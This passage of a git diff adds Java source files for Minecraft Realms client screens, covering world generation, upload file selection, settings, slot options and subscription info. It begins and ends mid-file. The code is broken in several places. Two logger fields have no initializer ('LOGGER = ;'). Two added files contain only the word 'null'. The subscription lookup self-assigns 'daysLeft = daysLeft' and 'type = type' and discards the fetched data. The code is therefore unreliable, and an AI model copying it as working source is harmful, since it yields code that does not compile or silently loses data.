+      break;
+    }
+    
+  }
+  
+
+
+  public void mouseClicked(int x, int y, int buttonNum)
+  {
+    super.mouseClicked(x, y, buttonNum);
+    
+    seedEdit.mouseClicked(x, y, buttonNum);
+  }
+  
+
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    drawCenteredString(getLocalizedString("mco.reset.world.generate"), width() / 2, 17, 16777215);
+    drawString(getLocalizedString("mco.reset.world.seed"), width() / 2 - 100, RealmsConstants.row(1), 10526880);
+    
+    seedEdit.render();
+    
+    super.render(xm, ym, a);
+  }
+  
+  private String levelTypeTitle() {
+    String levelType = getLocalizedString("selectWorld.mapType");
+    return levelType + " " + levelTypes[levelTypeIndex.intValue()];
+  }
+  
+  private String generateStructuresTitle() {
+    return getLocalizedString("selectWorld.mapFeatures") + " " + (generateStructures.booleanValue() ? getLocalizedString("mco.configure.world.on") : getLocalizedString("mco.configure.world.off"));
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsResetWorldScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsResetWorldScreen.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsResetWorldScreen.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsScreenWithCallback.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsScreenWithCallback.java
new file mode 100644
index 0000000..f529d0c
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsScreenWithCallback.java
@@ -0,0 +1,11 @@
+package com.mojang.realmsclient.gui.screens;
+
+import net.minecraft.realms.RealmsScreen;
+
+public abstract class RealmsScreenWithCallback<T>
+  extends RealmsScreen
+{
+  public RealmsScreenWithCallback() {}
+  
+  abstract void callback(T paramT);
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSelectFileToUploadScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSelectFileToUploadScreen.java
new file mode 100644
index 0000000..e8cfc7f
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSelectFileToUploadScreen.java
@@ -0,0 +1,210 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.gui.ChatFormatting;
+import com.mojang.realmsclient.gui.RealmsConstants;
+import java.text.DateFormat;
+import java.util.List;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsAnvilLevelStorageSource;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsLevelSummary;
+import net.minecraft.realms.RealmsScreen;
+import net.minecraft.realms.RealmsScrolledSelectionList;
+import net.minecraft.realms.Tezzelator;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.input.Keyboard;
+
+public class RealmsSelectFileToUploadScreen extends RealmsScreen
+{
+  private static final Logger LOGGER = ;
+  
+  private static final int CANCEL_BUTTON = 1;
+  
+  private static final int UPLOAD_BUTTON = 2;
+  
+  private final RealmsResetWorldScreen lastScreen;
+  
+  private final long worldId;
+  private int slotId;
+  private RealmsButton uploadButton;
+  private final DateFormat DATE_FORMAT = new java.text.SimpleDateFormat();
+  
+  private List<RealmsLevelSummary> levelList = new java.util.ArrayList();
+  private int selectedWorld = -1;
+  private WorldSelectionList worldSelectionList;
+  private String worldLang;
+  private String conversionLang;
+  private String[] gameModesLang = new String[4];
+  
+  public RealmsSelectFileToUploadScreen(long worldId, int slotId, RealmsResetWorldScreen lastScreen) {
+    this.lastScreen = lastScreen;
+    this.worldId = worldId;
+    this.slotId = slotId;
+  }
+  
+  private void loadLevelList() throws Exception {
+    RealmsAnvilLevelStorageSource levelSource = getLevelStorageSource();
+    levelList = levelSource.getLevelList();
+    java.util.Collections.sort(levelList);
+  }
+  
+  public void init()
+  {
+    Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    try
+    {
+      loadLevelList();
+    } catch (Exception e) {
+      LOGGER.error("Couldn't load level list", e);
+      Realms.setScreen(new RealmsGenericErrorScreen("Unable to load worlds", e.getMessage(), lastScreen));
+      return;
+    }
+    
+    worldLang = getLocalizedString("selectWorld.world");
+    conversionLang = getLocalizedString("selectWorld.conversion");
+    gameModesLang[Realms.survivalId()] = getLocalizedString("gameMode.survival");
+    gameModesLang[Realms.creativeId()] = getLocalizedString("gameMode.creative");
+    gameModesLang[Realms.adventureId()] = getLocalizedString("gameMode.adventure");
+    gameModesLang[Realms.spectatorId()] = getLocalizedString("gameMode.spectator");
+    
+    buttonsAdd(newButton(1, width() / 2 + 6, height() - 32, 153, 20, getLocalizedString("gui.back")));
+    buttonsAdd(this.uploadButton = newButton(2, width() / 2 - 154, height() - 32, 153, 20, getLocalizedString("mco.upload.button.name")));
+    
+
+    uploadButton.active((selectedWorld >= 0) && (selectedWorld < levelList.size()));
+    
+    worldSelectionList = new WorldSelectionList();
+  }
+  
+  public void removed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) {
+      return;
+    }
+    
+    if (button.id() == 1) {
+      Realms.setScreen(lastScreen);
+    } else if (button.id() == 2) {
+      upload();
+    }
+  }
+  
+  private void upload() {
+    if ((selectedWorld != -1) && (!((RealmsLevelSummary)levelList.get(selectedWorld)).isHardcore())) {
+      RealmsLevelSummary selectedLevel = (RealmsLevelSummary)levelList.get(selectedWorld);
+      Realms.setScreen(new RealmsUploadScreen(worldId, slotId, lastScreen, selectedLevel));
+    }
+  }
+  
+
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    worldSelectionList.render(xm, ym, a);
+    
+    drawCenteredString(getLocalizedString("mco.upload.select.world.title"), width() / 2, 13, 16777215);
+    drawCenteredString(getLocalizedString("mco.upload.select.world.subtitle"), width() / 2, RealmsConstants.row(-1), 10526880);
+    
+    if (levelList.size() == 0) {
+      drawCenteredString(getLocalizedString("mco.upload.select.world.none"), width() / 2, height() / 2 - 20, 16777215);
+    }
+    
+    super.render(xm, ym, a);
+  }
+  
+  public void keyPressed(char eventCharacter, int eventKey)
+  {
+    if (eventKey == 1) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  public void mouseEvent()
+  {
+    super.mouseEvent();
+    worldSelectionList.mouseEvent();
+  }
+  
+  public void tick()
+  {
+    super.tick();
+  }
+  
+  private class WorldSelectionList extends RealmsScrolledSelectionList
+  {
+    public WorldSelectionList() {
+      super(height(), RealmsConstants.row(0), height() - 40, 36);
+    }
+    
+    public int getItemCount()
+    {
+      return levelList.size();
+    }
+    
+    public void selectItem(int item, boolean doubleClick, int xMouse, int yMouse)
+    {
+      selectedWorld = item;
+      uploadButton.active((selectedWorld >= 0) && (selectedWorld < getItemCount()) && (!((RealmsLevelSummary)levelList.get(selectedWorld)).isHardcore()));
+      
+      if (doubleClick) {
+        RealmsSelectFileToUploadScreen.this.upload();
+      }
+    }
+    
+    public boolean isSelectedItem(int item)
+    {
+      return item == selectedWorld;
+    }
+    
+    public int getMaxPosition()
+    {
+      return levelList.size() * 36;
+    }
+    
+    public void renderBackground()
+    {
+      RealmsSelectFileToUploadScreen.this.renderBackground();
+    }
+    
+    protected void renderItem(int i, int x, int y, int h, Tezzelator t, int mouseX, int mouseY)
+    {
+      RealmsLevelSummary levelSummary = (RealmsLevelSummary)levelList.get(i);
+      
+      String name = levelSummary.getLevelName();
+      
+      if ((name == null) || (name.isEmpty())) {
+        name = worldLang + " " + (i + 1);
+      }
+      
+      String id = levelSummary.getLevelId();
+      id = id + " (" + DATE_FORMAT.format(new java.util.Date(levelSummary.getLastPlayed()));
+      id = id + ")";
+      String info = "";
+      
+      if (levelSummary.isRequiresConversion()) {
+        info = conversionLang + " " + info;
+      } else {
+        info = gameModesLang[levelSummary.getGameMode()];
+        
+        if (levelSummary.isHardcore()) {
+          info = ChatFormatting.DARK_RED + RealmsScreen.getLocalizedString("mco.upload.hardcore") + ChatFormatting.RESET;
+        }
+        
+        if (levelSummary.hasCheats()) {
+          info = info + ", " + RealmsScreen.getLocalizedString("selectWorld.cheats");
+        }
+      }
+      
+      drawString(name, x + 2, y + 1, 16777215);
+      drawString(id, x + 2, y + 12, 8421504);
+      drawString(info, x + 2, y + 12 + 10, 8421504);
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSelectWorldTemplateScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSelectWorldTemplateScreen.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSelectWorldTemplateScreen.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSettingsScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSettingsScreen.java
new file mode 100644
index 0000000..799a3a7
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSettingsScreen.java
@@ -0,0 +1,164 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.dto.RealmsServer.State;
+import com.mojang.realmsclient.gui.RealmsConstants;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsEditBox;
+import net.minecraft.realms.RealmsScreen;
+import org.lwjgl.input.Keyboard;
+
+
+
+
+
+public class RealmsSettingsScreen
+  extends RealmsScreen
+{
+  private RealmsConfigureWorldScreen configureWorldScreen;
+  private RealmsServer serverData;
+  private static final int BUTTON_CANCEL_ID = 0;
+  private static final int BUTTON_DONE_ID = 1;
+  private static final int NAME_EDIT_BOX = 2;
+  private static final int DESC_EDIT_BOX = 3;
+  private static final int BUTTON_OPEN_CLOSE_ID = 5;
+  private final int COMPONENT_WIDTH = 212;
+  
+  private RealmsButton doneButton;
+  private RealmsEditBox descEdit;
+  private RealmsEditBox nameEdit;
+  
+  public RealmsSettingsScreen(RealmsConfigureWorldScreen configureWorldScreen, RealmsServer serverData)
+  {
+    this.configureWorldScreen = configureWorldScreen;
+    this.serverData = serverData;
+  }
+  
+  public void tick()
+  {
+    nameEdit.tick();
+    descEdit.tick();
+  }
+  
+  public void init()
+  {
+    Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    
+    int center = width() / 2 - 106;
+    
+    buttonsAdd(this.doneButton = newButton(1, center - 2, RealmsConstants.row(12), 106, 20, getLocalizedString("mco.configure.world.buttons.done")));
+    buttonsAdd(newButton(0, width() / 2 + 2, RealmsConstants.row(12), 106, 20, getLocalizedString("gui.cancel")));
+    buttonsAdd(newButton(5, width() / 2 - 53, RealmsConstants.row(0), 106, 20, serverData.state.equals(RealmsServer.State.OPEN) ? getLocalizedString("mco.configure.world.buttons.close") : getLocalizedString("mco.configure.world.buttons.open")));
+    
+    nameEdit = newEditBox(2, center, RealmsConstants.row(4), 212, 20);
+    nameEdit.setFocus(true);
+    nameEdit.setMaxLength(32);
+    
+    if (serverData.getName() != null) {
+      nameEdit.setValue(serverData.getName());
+    }
+    
+    descEdit = newEditBox(3, center, RealmsConstants.row(8), 212, 20);
+    descEdit.setMaxLength(32);
+    
+    if (serverData.getDescription() != null) {
+      descEdit.setValue(serverData.getDescription());
+    }
+  }
+  
+  public void removed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) { return;
+    }
+    switch (button.id()) {
+    case 0: 
+      Realms.setScreen(configureWorldScreen);
+      break;
+    case 1: 
+      save();
+      break;
+    case 5: 
+      if (serverData.state.equals(RealmsServer.State.OPEN)) {
+        String line2 = getLocalizedString("mco.configure.world.close.question.line1");
+        String line3 = getLocalizedString("mco.configure.world.close.question.line2");
+        Realms.setScreen(new RealmsLongConfirmationScreen(this, RealmsLongConfirmationScreen.Type.Info, line2, line3, true, 5));
+      } else {
+        configureWorldScreen.openTheWorld(false, this);
+      }
+      break;
+    }
+    
+  }
+  
+
+  public void confirmResult(boolean result, int id)
+  {
+    switch (id) {
+    case 5: 
+      if (result) {
+        configureWorldScreen.closeTheWorld(this);
+      } else {
+        Realms.setScreen(this);
+      }
+      break;
+    }
+    
+  }
+  
+  public void keyPressed(char ch, int eventKey)
+  {
+    nameEdit.keyPressed(ch, eventKey);
+    descEdit.keyPressed(ch, eventKey);
+    
+    switch (eventKey) {
+    case 15: 
+      nameEdit.setFocus(!nameEdit.isFocused());
+      descEdit.setFocus(!descEdit.isFocused());
+      break;
+    case 28: 
+    case 156: 
+      save();
+      break;
+    case 1: 
+      Realms.setScreen(configureWorldScreen);
+    default: 
+      return;
+    }
+    
+    doneButton.active((nameEdit.getValue() != null) && (!nameEdit.getValue().trim().equals("")));
+  }
+  
+  public void mouseClicked(int x, int y, int buttonNum)
+  {
+    super.mouseClicked(x, y, buttonNum);
+    
+    descEdit.mouseClicked(x, y, buttonNum);
+    nameEdit.mouseClicked(x, y, buttonNum);
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    drawCenteredString(getLocalizedString("mco.configure.world.settings.title"), width() / 2, 17, 16777215);
+    
+    drawString(getLocalizedString("mco.configure.world.name"), width() / 2 - 106, RealmsConstants.row(3), 10526880);
+    drawString(getLocalizedString("mco.configure.world.description"), width() / 2 - 106, RealmsConstants.row(7), 10526880);
+    
+    nameEdit.render();
+    descEdit.render();
+    
+    super.render(xm, ym, a);
+  }
+  
+  public void save() {
+    configureWorldScreen.saveSettings(nameEdit.getValue(), descEdit.getValue());
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSlotOptionsScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSlotOptionsScreen.java
new file mode 100644
index 0000000..dc9f48e
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSlotOptionsScreen.java
@@ -0,0 +1,380 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.dto.RealmsOptions;
+import com.mojang.realmsclient.dto.RealmsServer.WorldType;
+import com.mojang.realmsclient.gui.RealmsConstants;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsEditBox;
+import net.minecraft.realms.RealmsScreen;
+import net.minecraft.realms.RealmsSliderButton;
+import org.lwjgl.input.Keyboard;
+
+
+
+
+
+
+
+public class RealmsSlotOptionsScreen
+  extends RealmsScreen
+{
+  private static final int BUTTON_CANCEL_ID = 0;
+  private static final int BUTTON_DONE_ID = 1;
+  private static final int BUTTON_DIFFICULTY_ID = 2;
+  private static final int BUTTON_GAMEMODE_ID = 3;
+  private static final int BUTTON_PVP_ID = 4;
+  private static final int BUTTON_SPAWN_ANIMALS_ID = 5;
+  private static final int BUTTON_SPAWN_MONSTERS_ID = 6;
+  private static final int BUTTON_SPAWN_NPCS_ID = 7;
+  private static final int BUTTON_SPAWN_PROTECTION_ID = 8;
+  private static final int BUTTON_COMMANDBLOCKS_ID = 9;
+  private static final int BUTTON_FORCE_GAMEMODE_ID = 10;
+  private static final int NAME_EDIT_BOX = 11;
+  private RealmsEditBox nameEdit;
+  protected final RealmsConfigureWorldScreen parent;
+  private int column1_x;
+  private int column_width;
+  private int column2_x;
+  private RealmsOptions options;
+  private RealmsServer.WorldType worldType;
+  private int activeSlot;
+  private int difficultyIndex;
+  private int gameModeIndex;
+  private Boolean pvp;
+  private Boolean spawnNPCs;
+  private Boolean spawnAnimals;
+  private Boolean spawnMonsters;
+  private Integer spawnProtection;
+  private Boolean commandBlocks;
+  private Boolean forceGameMode;
+  private RealmsButton pvpButton;
+  private RealmsButton spawnAnimalsButton;
+  private RealmsButton spawnMonstersButton;
+  private RealmsButton spawnNPCsButton;
+  private RealmsSliderButton spawnProtectionButton;
+  private RealmsButton commandBlocksButton;
+  private RealmsButton forceGameModeButton;
+  private boolean notNormal = false;
+  
+  String[] difficulties;
+  String[] gameModes;
+  String[][] gameModeHints;
+  
+  public RealmsSlotOptionsScreen(RealmsConfigureWorldScreen configureWorldScreen, RealmsOptions options, RealmsServer.WorldType worldType, int activeSlot)
+  {
+    parent = configureWorldScreen;
+    this.options = options;
+    this.worldType = worldType;
+    this.activeSlot = activeSlot;
+  }
+  
+  public void removed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void tick()
+  {
+    nameEdit.tick();
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) { return;
+    }
+    switch (button.id()) {
+    case 1: 
+      saveSettings();
+      break;
+    case 0: 
+      Realms.setScreen(parent);
+      break;
+    case 2: 
+      difficultyIndex = ((difficultyIndex + 1) % difficulties.length);
+      button.msg(difficultyTitle());
+      
+      if (worldType.equals(RealmsServer.WorldType.NORMAL)) {
+        spawnMonstersButton.active(difficultyIndex != 0);
+        spawnMonstersButton.msg(spawnMonstersTitle());
+      }
+      break;
+    case 3: 
+      gameModeIndex = ((gameModeIndex + 1) % gameModes.length);
+      button.msg(gameModeTitle());
+      break;
+    case 4: 
+      pvp = Boolean.valueOf(!pvp.booleanValue());
+      button.msg(pvpTitle());
+      break;
+    case 5: 
+      spawnAnimals = Boolean.valueOf(!spawnAnimals.booleanValue());
+      button.msg(spawnAnimalsTitle());
+      break;
+    case 7: 
+      spawnNPCs = Boolean.valueOf(!spawnNPCs.booleanValue());
+      button.msg(spawnNPCsTitle());
+      break;
+    case 6: 
+      spawnMonsters = Boolean.valueOf(!spawnMonsters.booleanValue());
+      button.msg(spawnMonstersTitle());
+      break;
+    case 9: 
+      commandBlocks = Boolean.valueOf(!commandBlocks.booleanValue());
+      button.msg(commandBlocksTitle());
+      break;
+    case 10: 
+      forceGameMode = Boolean.valueOf(!forceGameMode.booleanValue());
+      button.msg(forceGameModeTitle());
+      break;
+    }
+    
+  }
+  
+
+
+  public void keyPressed(char eventCharacter, int eventKey)
+  {
+    nameEdit.keyPressed(eventCharacter, eventKey);
+    
+    switch (eventKey) {
+    case 15: 
+      nameEdit.setFocus(!nameEdit.isFocused());
+      break;
+    case 1: 
+      Realms.setScreen(parent);
+      break;
+    case 28: 
+    case 156: 
+      saveSettings();
+      break;
+    }
+    
+  }
+  
+
+  public void mouseClicked(int x, int y, int buttonNum)
+  {
+    super.mouseClicked(x, y, buttonNum);
+    
+    nameEdit.mouseClicked(x, y, buttonNum);
+  }
+  
+  public void init()
+  {
+    column1_x = (width() / 2 - 122);
+    column_width = 122;
+    column2_x = (width() / 2 + 10);
+    
+    createDifficultyAndGameMode();
+    
+    difficultyIndex = options.difficulty.intValue();
+    gameModeIndex = options.gameMode.intValue();
+    
+    if (!worldType.equals(RealmsServer.WorldType.NORMAL)) {
+      notNormal = true;
+      
+      pvp = Boolean.valueOf(true);
+      spawnProtection = Integer.valueOf(0);
+      forceGameMode = Boolean.valueOf(false);
+      
+      spawnAnimals = Boolean.valueOf(true);
+      spawnMonsters = Boolean.valueOf(true);
+      spawnNPCs = Boolean.valueOf(true);
+      commandBlocks = Boolean.valueOf(true);
+    } else {
+      pvp = options.pvp;
+      spawnProtection = options.spawnProtection;
+      forceGameMode = options.forceGameMode;
+      
+      spawnAnimals = options.spawnAnimals;
+      spawnMonsters = options.spawnMonsters;
+      spawnNPCs = options.spawnNPCs;
+      commandBlocks = options.commandBlocks;
+    }
+    
+    nameEdit = newEditBox(11, column1_x + 2, RealmsConstants.row(2), column_width - 4, 20);
+    nameEdit.setFocus(true);
+    nameEdit.setMaxLength(10);
+    nameEdit.setValue(options.getSlotName(activeSlot));
+    
+    buttonsAdd(newButton(3, column2_x, RealmsConstants.row(2), column_width, 20, gameModeTitle()));
+    
+    buttonsAdd(this.pvpButton = newButton(4, column1_x, RealmsConstants.row(4), column_width, 20, pvpTitle()));
+    buttonsAdd(this.spawnAnimalsButton = newButton(5, column2_x, RealmsConstants.row(4), column_width, 20, spawnAnimalsTitle()));
+    
+    buttonsAdd(newButton(2, column1_x, RealmsConstants.row(6), column_width, 20, difficultyTitle()));
+    buttonsAdd(this.spawnMonstersButton = newButton(6, column2_x, RealmsConstants.row(6), column_width, 20, spawnMonstersTitle()));
+    
+    buttonsAdd(this.spawnProtectionButton = new SettingsSlider(8, column1_x, RealmsConstants.row(8), column_width, 17, spawnProtection.intValue(), 0.0F, 16.0F));
+    buttonsAdd(this.spawnNPCsButton = newButton(7, column2_x, RealmsConstants.row(8), column_width, 20, spawnNPCsTitle()));
+    
+
+    buttonsAdd(this.forceGameModeButton = newButton(10, column1_x, RealmsConstants.row(10), column_width, 20, forceGameModeTitle()));
+    buttonsAdd(this.commandBlocksButton = newButton(9, column2_x, RealmsConstants.row(10), column_width, 20, commandBlocksTitle()));
+    
+
+    if (!worldType.equals(RealmsServer.WorldType.NORMAL)) {
+      pvpButton.active(false);
+      spawnAnimalsButton.active(false);
+      spawnNPCsButton.active(false);
+      spawnMonstersButton.active(false);
+      spawnProtectionButton.active(false);
+      commandBlocksButton.active(false);
+      spawnProtectionButton.active(false);
+      forceGameModeButton.active(false);
+    }
+    
+    if (difficultyIndex == 0) {
+      spawnMonstersButton.active(false);
+    }
+    
+    buttonsAdd(newButton(1, column1_x, RealmsConstants.row(13), column_width, 20, getLocalizedString("mco.configure.world.buttons.done")));
+    buttonsAdd(newButton(0, column2_x, RealmsConstants.row(13), column_width, 20, getLocalizedString("gui.cancel")));
+  }
+  
+  private void createDifficultyAndGameMode()
+  {
+    difficulties = new String[] { getLocalizedString("options.difficulty.peaceful"), getLocalizedString("options.difficulty.easy"), getLocalizedString("options.difficulty.normal"), getLocalizedString("options.difficulty.hard") };
+    
+
+
+
+
+
+    gameModes = new String[] { getLocalizedString("selectWorld.gameMode.survival"), getLocalizedString("selectWorld.gameMode.creative"), getLocalizedString("selectWorld.gameMode.adventure") };
+    
+
+
+
+
+    gameModeHints = new String[][] { { getLocalizedString("selectWorld.gameMode.survival.line1"), getLocalizedString("selectWorld.gameMode.survival.line2") }, { getLocalizedString("selectWorld.gameMode.creative.line1"), getLocalizedString("selectWorld.gameMode.creative.line2") }, { getLocalizedString("selectWorld.gameMode.adventure.line1"), getLocalizedString("selectWorld.gameMode.adventure.line2") } };
+  }
+  
+
+
+
+
+  private String difficultyTitle()
+  {
+    String difficulty = getLocalizedString("options.difficulty");
+    return difficulty + ": " + difficulties[difficultyIndex];
+  }
+  
+  private String gameModeTitle() {
+    String gameMode = getLocalizedString("selectWorld.gameMode");
+    return gameMode + ": " + gameModes[gameModeIndex];
+  }
+  
+  private String pvpTitle() {
+    return getLocalizedString("mco.configure.world.pvp") + ": " + (pvp.booleanValue() ? getLocalizedString("mco.configure.world.on") : getLocalizedString("mco.configure.world.off"));
+  }
+  
+  private String spawnAnimalsTitle() {
+    return getLocalizedString("mco.configure.world.spawnAnimals") + ": " + (spawnAnimals.booleanValue() ? getLocalizedString("mco.configure.world.on") : getLocalizedString("mco.configure.world.off"));
+  }
+  
+  private String spawnMonstersTitle() {
+    if (difficultyIndex == 0) {
+      return getLocalizedString("mco.configure.world.spawnMonsters") + ": " + getLocalizedString("mco.configure.world.off");
+    }
+    return getLocalizedString("mco.configure.world.spawnMonsters") + ": " + (spawnMonsters.booleanValue() ? getLocalizedString("mco.configure.world.on") : getLocalizedString("mco.configure.world.off"));
+  }
+  
+  private String spawnNPCsTitle()
+  {
+    return getLocalizedString("mco.configure.world.spawnNPCs") + ": " + (spawnNPCs.booleanValue() ? getLocalizedString("mco.configure.world.on") : getLocalizedString("mco.configure.world.off"));
+  }
+  
+  private String commandBlocksTitle() {
+    return getLocalizedString("mco.configure.world.commandBlocks") + ": " + (commandBlocks.booleanValue() ? getLocalizedString("mco.configure.world.on") : getLocalizedString("mco.configure.world.off"));
+  }
+  
+  private String forceGameModeTitle() {
+    return getLocalizedString("mco.configure.world.forceGameMode") + ": " + (forceGameMode.booleanValue() ? getLocalizedString("mco.configure.world.on") : getLocalizedString("mco.configure.world.off"));
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    String slotName = getLocalizedString("mco.configure.world.edit.slot.name");
+    
+    drawString(slotName, column1_x + fontWidth(slotName) / 2, RealmsConstants.row(0) + 5, 16777215);
+    drawCenteredString(getLocalizedString("mco.configure.world.buttons.options"), width() / 2, 17, 16777215);
+    
+    if (notNormal) {
+      drawCenteredString(getLocalizedString("mco.configure.world.edit.subscreen.adventuremap"), width() / 2, 30, 16711680);
+    }
+    
+    nameEdit.render();
+    
+
+
+    super.render(xm, ym, a);
+  }
+  
+  public void renderHints() {
+    drawString(gameModeHints[gameModeIndex][0], column2_x + 2, RealmsConstants.row(0), 10526880);
+    drawString(gameModeHints[gameModeIndex][1], column2_x + 2, RealmsConstants.row(0) + fontLineHeight() + 2, 10526880);
+  }
+  
+  public void mouseReleased(int x, int y, int buttonNum)
+  {
+    if (!spawnProtectionButton.active()) {
+      return;
+    }
+    
+    spawnProtectionButton.released(x, y);
+  }
+  
+
+  public void mouseDragged(int x, int y, int buttonNum, long delta)
+  {
+    if (!spawnProtectionButton.active()) {
+      return;
+    }
+    
+    if ((x < column1_x + spawnProtectionButton.getWidth()) && (x > column1_x) && (y < spawnProtectionButton.y() + 20) && (y > spawnProtectionButton.y())) {
+      spawnProtectionButton.clicked(x, y);
+    }
+  }
+  
+  private class SettingsSlider extends RealmsSliderButton
+  {
+    public SettingsSlider(int id, int x, int y, int width, int steps, int currentValue, float minValue, float maxValue)
+    {
+      super(x, y, width, steps, currentValue, minValue, maxValue);
+    }
+    
+    public String getMessage()
+    {
+      return RealmsScreen.getLocalizedString("mco.configure.world.spawnProtection") + ": " + (spawnProtection.intValue() == 0 ? RealmsScreen.getLocalizedString("mco.configure.world.off") : spawnProtection);
+    }
+    
+    public void clicked(float value)
+    {
+      if (!spawnProtectionButton.active()) {
+        return;
+      }
+      
+      spawnProtection = Integer.valueOf((int)value);
+    }
+  }
+  
+  private String getSlotName() {
+    if (nameEdit.getValue().equals(options.getDefaultSlotName(activeSlot))) {
+      return "";
+    }
+    return nameEdit.getValue();
+  }
+  
+  private void saveSettings()
+  {
+    if (worldType.equals(RealmsServer.WorldType.ADVENTUREMAP)) {
+      parent.saveSlotSettings(new RealmsOptions(options.pvp, options.spawnAnimals, options.spawnMonsters, options.spawnNPCs, options.spawnProtection, options.commandBlocks, Integer.valueOf(difficultyIndex), Integer.valueOf(gameModeIndex), options.forceGameMode, getSlotName()));
+    } else {
+      parent.saveSlotSettings(new RealmsOptions(pvp, spawnAnimals, spawnMonsters, spawnNPCs, spawnProtection, commandBlocks, Integer.valueOf(difficultyIndex), Integer.valueOf(gameModeIndex), forceGameMode, getSlotName()));
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSubscriptionInfoScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSubscriptionInfoScreen.java
new file mode 100644
index 0000000..4ba651d
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsSubscriptionInfoScreen.java
@@ -0,0 +1,224 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.dto.Subscription;
+import com.mojang.realmsclient.dto.Subscription.SubscriptionType;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import com.mojang.realmsclient.gui.RealmsConstants;
+import com.mojang.realmsclient.util.RealmsUtil;
+import java.awt.Toolkit;
+import java.awt.datatransfer.Clipboard;
+import java.awt.datatransfer.StringSelection;
+import java.io.IOException;
+import java.text.DateFormat;
+import java.util.Calendar;
+import java.util.GregorianCalendar;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.input.Keyboard;
+
+public class RealmsSubscriptionInfoScreen extends RealmsScreen
+{
+  private static final Logger LOGGER = ;
+  
+  private final RealmsScreen lastScreen;
+  
+  private final RealmsServer serverData;
+  private final RealmsScreen mainScreen;
+  private final int BUTTON_BACK_ID = 0;
+  private final int BUTTON_DELETE_ID = 1;
+  
+  private int daysLeft;
+  
+  private String startDate;
+  private Subscription.SubscriptionType type;
+  private final String PURCHASE_LINK = "https://account.mojang.com/buy/realms";
+  private boolean onLink;
+  
+  public RealmsSubscriptionInfoScreen(RealmsScreen lastScreen, RealmsServer serverData, RealmsScreen mainScreen)
+  {
+    this.lastScreen = lastScreen;
+    this.serverData = serverData;
+    this.mainScreen = mainScreen;
+  }
+  
+  public void init()
+  {
+    getSubscription(serverData.id);
+    
+    Keyboard.enableRepeatEvents(true);
+    
+    buttonsAdd(newButton(0, width() / 2 - 100, RealmsConstants.row(12), getLocalizedString("gui.back")));
+    
+    if (serverData.expired) {
+      buttonsAdd(newButton(1, width() / 2 - 100, RealmsConstants.row(10), getLocalizedString("mco.configure.world.delete.button")));
+    }
+  }
+  
+  private void getSubscription(long worldId) {
+    RealmsClient client = RealmsClient.createRealmsClient();
+    try {
+      Subscription subscription = client.subscriptionFor(worldId);
+      daysLeft = daysLeft;
+      startDate = localPresentation(startDate);
+      type = type;
+    } catch (RealmsServiceException e) {
+      LOGGER.error("Couldn't get subscription");
+      Realms.setScreen(new RealmsGenericErrorScreen(e, lastScreen));
+    } catch (IOException e) {
+      LOGGER.error("Couldn't parse response subscribing");
+    }
+  }
+  
+  public void confirmResult(boolean result, int id)
+  {
+    if ((id == 1) && (result)) {
+      new Thread("Realms-delete-realm")
+      {
+        public void run() {
+          try {
